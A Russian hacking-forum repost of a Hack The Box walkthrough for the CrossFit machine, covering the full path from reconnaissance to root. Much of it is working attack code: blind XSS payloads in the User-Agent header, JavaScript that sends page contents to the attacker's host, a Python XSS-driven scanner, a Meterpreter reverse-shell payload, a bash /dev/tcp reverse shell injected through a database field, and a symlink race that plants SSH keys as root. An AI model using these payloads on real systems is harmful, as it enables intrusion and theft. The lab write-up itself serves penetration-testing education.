• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Раскручиваем сложную XSS, чтобы захватить хост

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
В этой статье на примере «безумной» по уровню сложности машины CrossFit с площадки Hack The Box я покажу, как искать XSS на недоступных страницах сайта, сканировать домены через XSS, проводить разведку на машине с Linux, удаленно исполнять код, используя FTP, и эксплуатировать инъекцию команд в пользовательском приложении. А под конец немного пореверсим, чтобы найти финальную уязвимость.

РАЗВЕДКА​

Сканирование портов​

Адрес машины — 10.10.10.208, добавляем его в /etc/hosts для удобства.
Код:
10.10.10.208    crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
Bash:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
02.jpg

Результат работы скрипта (продолжение)

Результат работы скрипта

По результатам сканирования имеем три открытых порта:
  • порт 21 — служба FTP (обрати внимание на наличие сертификата);
  • порт 22 — служба SSH;
  • порт 80 — веб‑сервер Apache.
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это gym-club.crossfit.htb.

Доменное имя, указанное в поле Common Name

Доменное имя, указанное в поле Common Name

Найденное имя мы сразу добавляем в файл /etc/hosts.
Код:
10.10.10.208    gym-club.crossfit.htb

Перебор каталогов​

Переходим к веб‑серверу. На 80-м порте по адресу http://crossfit.htb нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://gym-club.crossfit.htb открывается сайт тренажерного зала.

Стартовая страница Apache по адресу http://crossfit.htb

Стартовая страница Apache по адресу http://crossfit.htb

Пользовательский сайт http://gym-club.crossfit.htb

Пользовательский сайт http://gym-club.crossfit.htb

Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
  • dir — сканирование директорий и файлов;
  • -k — не проверять SSL-сертификат;
  • -t [] — количество потоков;
  • -u [] — URL-адрес для сканирования;
  • -x [] — интересующие расширения файлов, перечисленные через запятую;
  • -w [] — словарь для перебора;
  • --timeout [] — время ожидания ответа.
Код:
gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://crossfit.htb

Обнаруженные подкаталоги и файлы на http://crossfit.htb

Код:
gobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htb

Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htb

По результатам сканирования можно сказать, что http://crossfit.htb интереса больше не представляет. На http://gym-club.crossfit.htb есть интересный каталог с вызывающим названием security_threat. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.

Содержимое http://gym-club.crossfit.htb


Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htb

Обнаруженные подкаталоги и файлы на gym-club.crossfit.htb

Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.

ТОЧКА ВХОДА​

При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
Код:
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
Код:
<script src="http://[локальный IP адрес]/></script>
Тестовая нагрузка в поле комментария

Тестовая нагрузка в поле комментария

В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Сообщение о блокировке XSS

Сообщение о блокировке XSS

Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.

На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.

Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Запрос, содержащий нагрузку XSS в заголовке User-Agent

Запрос, содержащий нагрузку XSS в заголовке User-Agent

Попытка загрузки скрипта с веб-сервера локального хоста (отклик)

Попытка загрузки скрипта с веб‑сервера локального хоста (отклик)

Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.

XSS​

Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open и send объекта XMLHttpRequest.
Код:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send();
Код запрошенной страницы здесь сохраняется в переменной xhr.responseText, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload объекта XMLHttpRequest. Полный код выглядит следующим образом.
Код:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
        var request = new XMLHttpRequest();
        request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);
        request.send();
};
xhr.send();
Сохраняем его в файл (у меня evil.js) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent, но уже указываем для загрузки скрипта свой файл.
Код:
<script src="http://10.10.14.80:8888/evil.js"></script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.

Логи локального веб-сервера

Логи локального веб‑сервера

Декодирование кода страницы report.php

Декодирование кода страницы report.php

К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.

Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы http://gym-club.crossfit.htb/security_threat/report.php будет запрашивать корневую страницу на разных поддоменах http://[random].crossfit.htb.

Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.

Сначала пишем стандартную «базу» для сервера.
Python:
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import requests


def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    request()
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()


if __name__ == '__main__':
run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
Python:
global vhost_number
vhost_number = 0;

with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f:
    global vhosts
vhosts = f.read().split('\n')[:-1]
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
Python:
def request():
    headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
    data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
    requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
В классе сервера обработаем GET-запрос. Если обращение происходит к evil.js, то вернем скрипт, который будет выполнять обращение к тестируемому поддомену. Если такой поддомен существует, то он будет передан в качестве параметра в повторном запросе на наш сервер.
Python:
class EvilServer(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response_only(200)
        self.end_headers()

    def do_GET(self):
        global vhost_number
        self._set_response()
        if vhost_number < len(vhosts):
            if self.path == '/evil'+str(vhost_number)+'.js':
                self.wfile.write(eviljs().encode('utf-8'))
            if 'vhost=' in self.path[:7]:
                print("vhost found: " + self.path[7:])
            request()
Осталось реализовать функцию, которая будет возвращать JS.
Python:
def eviljs():
    global vhost_number
    jscode = """var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://XXX.crossfit.htb/', true);
        xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
        xhr.onload = function(){
            var request = new XMLHttpRequest();
            request.open('GET', 'http://10.10.14.80:8888/vhost=XXX', true);
            request.send();
        };
        xhr.send();""".replace('XXX', vhosts[vhost_number])
    print(str(vhost_number+1)+ "/" + str(len(vhosts)) + " " + vhosts[vhost_number] + " "*10, end="\r")
    vhost_number += 1
    return jscode
Важные функции я описал, остальной код приводить не стану — если будешь повторять прохождение, ты без труда воссоздашь его.

Скрипт работает медленно, но дает результат!
Код сервера

Код сервера

Результат сканирования

Результат сканирования

Убедившись, что скрипт работает, я остановил его и внес изменения, которые обеспечат нам удобство при работе. Первым делом добавляем функцию requestPage с измененной нагрузкой evil.js.
JavaScript:
def requestPage():
    headers = {'User-Agent':'<script src="http://10.10.14.80:8888/getpage.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
    data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
    requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Нагрузка будет запрашивать уже известный нам файл JS для просмотра страниц.
JavaScript:
def getpagejs(page="http://ftp.crossfit.htb/"):
    return """var xhr = new XMLHttpRequest();
    xhr.open('GET', '""" + page + """', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.onload = function(){
        var request = new XMLHttpRequest();
        request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), true);
        request.send();
    };
xhr.send();"""
И будем вызывать ее в функции run() вместо request().
Код:
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    requestPage()
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

if __name__ == '__main__':
    run()
Далее я добавил в метод do_GET() обработку запросов getpage.js и page. Таким образом Base64 будет декодироваться, чтобы мы могли видеть HTML прямо в браузере (так гораздо удобнее).
Код:
class EvilServer(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response_only(200)
        self.end_headers()

    def do_GET(self):
        global vhost_number
        self._set_response()
        if vhost_number < len(vhosts):
            if self.path == '/evil'+str(vhost_number)+'.js':
                self.wfile.write(eviljs().encode('utf-8'))
            if 'vhost=' in self.path[:7]:
                print("vhost found: " + self.path[7:])
            if self.path == '/getpage.js':
                self.wfile.write(getpagejs().encode('utf-8'))
            if 'page=' in self.path[:6]:
                print(base64.b64decode(self.path[6:]).decode())
                with open("page.html", "w") as f:
                    f.write(base64.b64decode(self.path[6:]).decode())
                os.system("firefox page.html")
Все готово, запускаем. После выполнения этого «эксплоита» получим окно с кодом страницы и ее представление в браузере.
Код сервера

Код сервера

Результат выполнения скрипта

Результат выполнения скрипта

Кажется, эта страница позволяет нам создать пользователя для службы FTP. Давай перейдем на вкладку Create New Account, для чего в коде изменим один адрес.
Изменение параметра функции getpagejs()

Изменение параметра функции getpagejs()

Результат выполнения скрипта

Результат выполнения скрипта

Из исходного кода мы получаем необходимые параметры, такие как username и password. Также узнаем о том, что нужно получать токен, а это придется делать тоже с помощью JS. Для выполнения этих операций добавим новую функцию createuser().
Код:
def createuser():
    return """
    var username='ralf'; var password='ralf';
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open('GET', 'http://ftp.crossfit.htb/accounts/create', false);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function(){
        if(xhr.readyState){
            var request = new XMLHttpRequest();
            request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), false);
            request.send();
        }
    };
    xhr.send();
    var r = /token" value="(.*)"/g
    var token =r.exec(xhr.responseText)[1];
    var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit';
    xhr.open('POST', "http://ftp.crossfit.htb/accounts", false);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.send(params);"""
Эта функция возвращает модифицированный код на JS, который первый раз запрашивает страницу, чтобы получить токен, а второй раз отправляет заполненную форму, тем самым создавая нового пользователя ralf с паролем ralf (в моем случае). В методе to_GET изменим вызов getpagejs() на вызов новой функции createuser(). После выполнения скрипта в окне браузера наблюдаем свежесозданного пользователя.
Результат выполнения скрипта

Результат выполнения скрипта

ШЕЛЛ​

После создания пользователя для службы FTP попробуем авторизоваться на сервере. Поскольку там используется SSL, будем использовать клиент lftp. При подключении необходимо отключить проверку сертификата.
Код:
set ssl:verify-certificate no
connect crossfit.htb
login ralf
Подключение к службе FTP и просмотр содержимого каталога

Подключение к службе FTP и просмотр содержимого каталога

По именам каталогов легко определить, что это директории веб‑сервера и соответствующих виртуальных хостов. Как поступать в таких ситуациях, всем давно известно — разместить свой шелл. В случае с PHP можно легко сгенерировать его с помощью MSFvenom со следующими параметрами:
  • -p [] — используемая нагрузка (конечно, берем Meterpreter);
  • LHOST=[] — IP-адрес локального хоста;
  • LPORT=[] — локальный порт;
  • -f [] — формат, в котором будет представлена нагрузка.
Код:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.80 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Создание нагрузки

Создание нагрузки

И запустим листенер, который будет ждать обратного подключения от нагрузки. Для быстрого запуска из metasploit используем команду handler с параметрами, указанными при создании нагрузки.
Код:
handler -p php/meterpreter_reverse_tcp -H 10.10.14.129 -P 4321
Осталось загрузить на FTP скрипт и обратиться к нему. Но во время реализации обнаруживается нюанс: единственная доступная для записи директория — development-test. Загружаем скрипт в эту директорию командой put.
Запуск листенера metasploit handler

Запуск листенера metasploit handler

Обращаться придется к вновь найденной директории, поэтому добавим в нашу программу еще одну функцию. При этом в методе to_GET изменим createuser() на getshell(), где выполняется запрос по новому доменному имени.
Код:
def getshell():
    return """
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://development-test.crossfit.htb/r.php', false);
xhr.send()"""
После запуска скрипта получаем шелл, о чем свидетельствует терминал Metasploit. Сразу же нужно проверить, в контексте какого пользователя мы работаем. Для Meterpreter это команда getuid.
Создание сессии Meterpreter и выполнение команды getuid

Создание сессии Meterpreter и выполнение команды getuid

ПРОДВИЖЕНИЕ​

Первый юзер​

Возникает вопрос — что же делать после того, как получил шелл в системе? Как найти путь, который приведет к повышению привилегий? На этот случай существуют скрипты PEASS — они есть и для Windows, и для Linux. Скачиваем скрипт для Linux, переходим в Meterpreter и командой upload загружаем его на удаленный хост. Получив командную оболочку (команда shell), назначаем права на исполнение и выполняем.
Загрузка и выполнение скрипта LinPEAS

Загрузка и выполнение скрипта LinPEAS

После того как скрипт отработает, у нас появляется новая трудная задача — выбрать информацию, которая приведет к успешному продвижению. В данном случае отметим для себя пользователей, имеющих интерактивную оболочку и два найденных хеша (скрипт просто определяет специфическую структуру строки).

Пользователи с консолью

Пользователи с консолью

Найденные в разных файлах специфические строки (хеши)

Найденные в разных файлах специфические строки (хеши)

Найден файл adduser_hank.yml — из названия можно сделать вывод, что представленный хеш — это результат хеширования пароля пользователя hank. С помощью знаменитого hashcat можно не только быстро ломать хеши и создавать правила или списки паролей, но и определять тип хеша. В структуре хеша есть редкая последовательность $6$, которая и определяет тип хеша, поэтому узнать алгоритм труда не составит.
Код:
hashcat --example | grep -A1 -B1 '\$6\$'
Получение алгоритма хеширования

Получение алгоритма хеширования

Нам сообщают, что это SHA-512 и что, если мы хотим перебирать его, нужно использовать код режима 1800. Так мы и поступим, а в качестве словаря с паролями используем знаменитый rockyou.
Код:
hashcat -a 0 -m 1800 hash.txt ./tools/rockyou.txt
Взлом найденного хеша SHA-512

Взлом найденного хеша SHA-512

Так как служба SSH активна (не забываем о результатах сканирования портов), мы подключаемся с найденным паролем и получаем первый флаг.
Пользовательский флаг

Пользовательский флаг

Второй юзер​

Так как мы получили креды нового пользователя, всю разведку на хосте нужно проводить заново! У нас ведь теперь совершенно другие привилегии, и этот момент многие упускают.

Снова выполним LinPEAS и отберем наиболее важную информацию. Что очень важно, мы получаем записи cron. К тому же пользователь присутствует в группе admin, что дает нам право читать файлы из директории /etc/pam.d/.
Записи cron

Записи cron

Файлы, ограниченные для чтения

Файлы, ограниченные для чтения

Служба cron позволяет запускать программы на сервере в определенное время. В данном случае — от имени пользователя isaac выполняется скрипт на PHP. Конечно же, сразу смотрим код внутри файла.
Содержимое файла send_updates.php

Содержимое файла send_updates.php

В этом скрипте происходит перечисление файлов и директории сообщений ($msg_dir). Если файл обнаружен (isFile()), то делается запрос к базе данных ($conn->query) для получения значений столбца email из таблицы users. Каждая возвращенная строка (адрес электронной почты) будет передана в качестве аргумента утилите mail. В самом конце от имени пользователя isaac выполняется вот такая команда:
Код:
/usr/bin/mail -s 'Crossfit Club Newsletter' [адрес электронной почты]
Так как команда выполняется в системе, а входными данными можно манипулировать, то на ум приходит инъекция команд (command injection). Если мы сможем разместить любой файл в директории с сообщениями, то произойдет запрос к БД. Также нужно будет подключиться к базе данных и создать запись, что позволит манипулировать параметром команды mail.

Подставим в команду выше вот такую нагрузку:
Код:
-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')
Полная команда станет такой:
Код:
/usr/bin/mail -s 'Crossfit Club Newsletter' -E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')
Сначала будет выполнен код внутри конструкции $(...), что приведет к выполнению реверс‑шелла. Но мы сталкиваемся с рядом проблем: как подключаться к базе данных и что за директория с сообщениями.

Для подключения к базе данных нужны учетные данные. Но к подключаемому файлу db.php доступа у нас нет. Найдем в директории веб‑сервера на FTP подобный файл и попробуем получить учетные данные из него.
Содержимое файла db.php

Содержимое файла db.php

Одна проблема решена. Дальше нужно вспомнить о праве на чтение файлов, расположенных в каталоге /etc/pam.d. PAM — это набор подключаемых модулей, которые отвечают за аутентификацию в системе. По сути, это API, который операционная система или приложения могут использовать, чтобы отправить запросы на проверку подлинности пользователя. А файлы настроек содержатся именно в этой директории.

Быстренько ищем по ключевым словам и находим учетные данные администратора FTP. Следующей командой мы из всех файлов в директории выбираем строки, в которых содержится хоть одна из подстрок: pas, pwd, secr или key, а также исключаем все закомментированные строки (-v '#').
Код:
cat * | grep "pas\|pwd\|secr\|key" | grep -v '#'
Фильтрация файлов PAM

Фильтрация файлов PAM

Подключимся к FTP от имени админа и найдем директорию messages.
Код:
lftp
set ssl:verify-certificate no
lftp :~> connect crossfit.htb
lftp crossfit.htb:~> login ftpadm
Подключение к службе FTP

Подключение к службе FTP

Выходит, у нас есть и возможность манипулировать данными и в базе, и в директории сообщений. Запустим MySQL и посмотрим, какие есть базы данных.
Код:
mysql -u crossfit -poeLoo~y2baeni
Список баз данных

Список баз данных

Будем использовать пользовательскую базу crossfit, так как information_schema — служебная. В crossfit и найдем таблицу users.
Список таблиц в базе crossfit

Список таблиц в базе crossfit

Все сходится, поэтому, как и планировали:
  1. Откроем листенер.
    rlwrap nc -lvp 4321
  2. Загрузим в директорию сообщений любой файл.
    Загрузка файла на FTP-сервер

    Загрузка файла на FTP-сервер

    Пишем в таблицу:
    insert into users (id, email) values (9001, "- E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')");
    Создание записи в базе данных

    Создание записи в базе данных
Спустя несколько секунд команда выполнится и мы получим бэкконнект.
Получение бэкконнекта

Получение бэкконнекта

Для удобства работы сгенерируем ключ SSH командой ssh-keygen и запишем сгенерированный публичный ключ пользователю в файл ~/.shh/authorized_keys.
Запись публичного ключа

Запись публичного ключа

Теперь можем заходить по SSH с использованием закрытого ключа.
Авторизованный пользователь isaac

Авторизованный пользователь isaac

РУТ​

В этот раз использование LinPEAS ничего интересного не показывает, поэтому посмотрим, есть ли периодически запускаемые в системе процессы, с помощью pspy64. Простой запуск pspy ничего не дал, поэтому я запустил его с параметром -f, чтобы отлавливать события файловой системы.
Код:
pspy64 -f
Вывод получился очень объемный, поэтому я сохранил его в файл и решил немного отфильтровать. Убираем из лога все упоминания /etc/, поскольку нас не интересуют сообщения об обращении к файлам passwd, shadow и тому подобным. Также нас не интересуют файлы PHP, так как с этим уже работали и тут ничего нового нет. Можно посмотреть только события, связанные с директорией var, но там нет ничего интересного, поэтому ее тоже исключаем из вывода. Команда wc -l покажет количество переданных строк.
Фильтрация строк в файле логов

Фильтрация строк в файле логов

Теперь события будет просмотреть удобней. Из общего фона использования библиотек замечаем утилиту dbmsg, которая запускается раз в минуту.
Логи утилиты pspy64

Логи утилиты pspy64

Логи запуска утилиты dbmsg

Логи запуска утилиты dbmsg

Загружаем бинарник на локальную машину с помощью команды scp и открываем в любом декомпиляторе. Я использовал Hex-rays IDA Pro.
Код:
scp -i id_rsa isaac@crossfit.htb:/usr/bin/dbmsg ./
В декомпиляторе переходим к функции main(). После старта программы сразу проверяются привилегии пользователя (должен быть root) и генератор псевдослучайных чисел инициализируется текущим временем.
Декомпилированный код функции main

Декомпилированный код функции main

В функции process_data() происходит подключение к базе данных и считывание данных из таблицы messages.
Декомпилированный код функции process_data

Декомпилированный код функции process_data

Далее программа читает строки таблицы и проверяет столбцы (id, name, email, messages). После чего в директории /var/local/ создает файл с именем md5(rand() + id), куда записывает значения name, messages и email (именно в этом порядке). Затем выполняется zip, после чего файл удаляется.
Декомпилированный код функции process_data (продолжение)

Декомпилированный код функции process_data (продолжение)

Тут‑то и наметился следующий вектор атаки: мы можем рассчитывать используемые псевдослучайные числа, а значит, и узнать имя файла; к тому же мы можем контролировать его содержимое, создавая записи в базе данных. Учитывая, что операции выполняются от имени root, мы можем создать ссылку с таким именем, и она будет указывать на файл authorized_keys. Останется лишь записать в него SSH-ключ! Что ж, за дело!

Сначала сгенерируем ключи. Чтобы сэкономить место, используем ed25519.

Генерация SSH-ключей

Генерация SSH-ключей

Теперь напишем программу, которая будет генерировать и выводить псевдослучайное число в зависимости от текущего времени.
Код:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(){
    srand(time(0));
    printf("%d", rand());
    return 0;
}
А затем компилируем этот код с помощью gcc.
Код:
gcc rand_int.c -o rand_int.bin
Теперь нужно загрузить бинарь на хост, после чего написать конвейер для получения имени файла. Так как мы будем создавать сообщение заново, то id всегда равен единице.
Тестирование получения имен файла

Тестирование получения имен файла

Так как запись не просуществует в базе долго, будем производить запись сообщения с ключом и линковку файла одним скриптом:
Bash:
#/bin/bash
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email,message) values (1, "ssh-ed25519","ralf@ralf-PC","AAAAC3N.....Pt0xQdJ");'
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./rand_int.bin)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done
Выполняем скрипт и подключаем по SSH c приватным ключом.

Выполнение скрипта

Выполнение скрипта

Получение флага пользователя root

Получение флага пользователя root

Вот мы и захватили машину CrossFit! Теперь мы имеем над ней полный контроль.

Автор @RalfHacker
источник хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх